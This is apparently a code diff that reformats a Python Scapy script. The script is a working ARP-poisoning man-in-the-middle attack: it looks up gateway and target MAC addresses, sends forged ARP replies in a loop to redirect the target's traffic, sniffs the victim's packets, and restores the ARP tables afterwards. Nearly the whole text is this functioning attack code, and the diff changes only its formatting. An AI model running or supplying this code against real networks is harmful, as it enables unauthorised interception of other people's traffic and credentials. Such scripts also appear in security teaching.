|
26 | 26 |
|
27 | 27 | print("[*] Setting up {}".format(interface))
|
28 | 28 |
|
| 29 | + |
29 | 30 | def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
|
30 |
| - |
| 31 | + |
31 | 32 | # slightly different method using send
|
32 | 33 | print("[*] Restoring target...")
|
33 |
| - send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac),count=5) |
34 |
| - send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac),count=5) |
35 |
| - |
| 34 | + send( |
| 35 | + ARP( |
| 36 | + op=2, |
| 37 | + psrc=gateway_ip, |
| 38 | + pdst=target_ip, |
| 39 | + hwdst="ff:ff:ff:ff:ff:ff", |
| 40 | + hwsrc=gateway_mac, |
| 41 | + ), |
| 42 | + count=5, |
| 43 | + ) |
| 44 | + send( |
| 45 | + ARP( |
| 46 | + op=2, |
| 47 | + psrc=target_ip, |
| 48 | + pdst=gateway_ip, |
| 49 | + hwdst="ff:ff:ff:ff:ff:ff", |
| 50 | + hwsrc=target_mac, |
| 51 | + ), |
| 52 | + count=5, |
| 53 | + ) |
| 54 | + |
36 | 55 | # signals the main thread to exit
|
37 | 56 | os.kill(os.getpid(), signal.SIGINT)
|
38 |
| - |
| 57 | + |
| 58 | + |
39 | 59 | def get_mac(ip_address):
|
40 |
| - |
41 |
| - responses, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2,retry=10) |
42 |
| - |
| 60 | + |
| 61 | + responses, unanswered = srp( |
| 62 | + Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip_address), timeout=2, retry=10 |
| 63 | + ) |
| 64 | + |
43 | 65 | # return the MAC address from a response
|
44 |
| - for s,r in responses: |
| 66 | + for s, r in responses: |
45 | 67 | return r[Ether].src
|
46 | 68 | return None
|
47 | 69 |
|
| 70 | + |
48 | 71 | def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):
|
49 |
| - |
| 72 | + |
50 | 73 | poison_target = ARP()
|
51 | 74 | poison_target.op = 2
|
52 | 75 | poison_target.psrc = gateway_ip
|
53 | 76 | poison_target.pdst = target_ip
|
54 | 77 | poison_target.hwdst = target_mac
|
55 |
| - |
| 78 | + |
56 | 79 | poison_gateway = ARP()
|
57 | 80 | poison_gateway.op = 2
|
58 | 81 | poison_gateway.psrc = target_ip
|
59 | 82 | poison_gateway.pdst = gateway_ip
|
60 | 83 | poison_gateway.hwdst = gateway_mac
|
61 |
| - |
| 84 | + |
62 | 85 | print("[*] Beginning the ARP poison. [CTRL-C to stop]")
|
63 |
| - |
| 86 | + |
64 | 87 | while True:
|
65 | 88 | try:
|
66 | 89 | send(poison_target)
|
67 | 90 | send(poison_gateway)
|
68 |
| - |
69 |
| - time.sleep(2) |
| 91 | + |
| 92 | + time.sleep(2) |
70 | 93 | except KeyboardInterrupt:
|
71 | 94 | restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
|
72 |
| - |
| 95 | + |
73 | 96 | print("[*] ARP poison attack finished.")
|
74 | 97 | return
|
75 | 98 |
|
| 99 | + |
76 | 100 | gateway_mac = get_mac(gateway_ip)
|
77 | 101 |
|
78 | 102 | if gateway_mac is None:
|
79 | 103 | print("[!!!] Failed to get gateway MAC. Exiting.")
|
80 | 104 | sys.exit(0)
|
81 | 105 | else:
|
82 |
| - print("[*] Gateway {} is at {} ".format(gateway_ip,gateway_mac)) |
| 106 | + print("[*] Gateway {} is at {} ".format(gateway_ip, gateway_mac)) |
83 | 107 |
|
84 | 108 | target_mac = get_mac(target_ip)
|
85 | 109 |
|
86 | 110 | if target_mac is None:
|
87 | 111 | print("[!!!] Failed to get target MAC. Exiting.")
|
88 | 112 | sys.exit(0)
|
89 | 113 | else:
|
90 |
| - print("[*] Target {} is at {}".format(target_ip,target_mac)) |
91 |
| - |
| 114 | + print("[*] Target {} is at {}".format(target_ip, target_mac)) |
| 115 | + |
92 | 116 | # start poison thread
|
93 |
| -poison_thread = threading.Thread(target = poison_target, args = (gateway_ip, gateway_mac, target_ip, target_mac)) |
| 117 | +poison_thread = threading.Thread( |
| 118 | + target=poison_target, args=(gateway_ip, gateway_mac, target_ip, target_mac) |
| 119 | +) |
94 | 120 | poison_thread.start()
|
95 | 121 |
|
96 | 122 | try:
|
97 | 123 | print("[*] Starting sniffer for {} packets".format(packet_count))
|
98 |
| - |
| 124 | + |
99 | 125 | bpf_filter = "ip host {}".format(target_ip)
|
100 |
| - |
101 |
| - packets = sniff(count = packet_count, filter = bpf_filter, iface= interface) |
102 |
| - |
| 126 | + |
| 127 | + packets = sniff(count=packet_count, filter=bpf_filter, iface=interface) |
| 128 | + |
103 | 129 | # write out the captured packets
|
104 | 130 | restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
|
105 |
| - |
| 131 | + |
106 | 132 | except:
|
107 | 133 | # restore the network
|
108 | 134 | restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
|
|
0 commit comments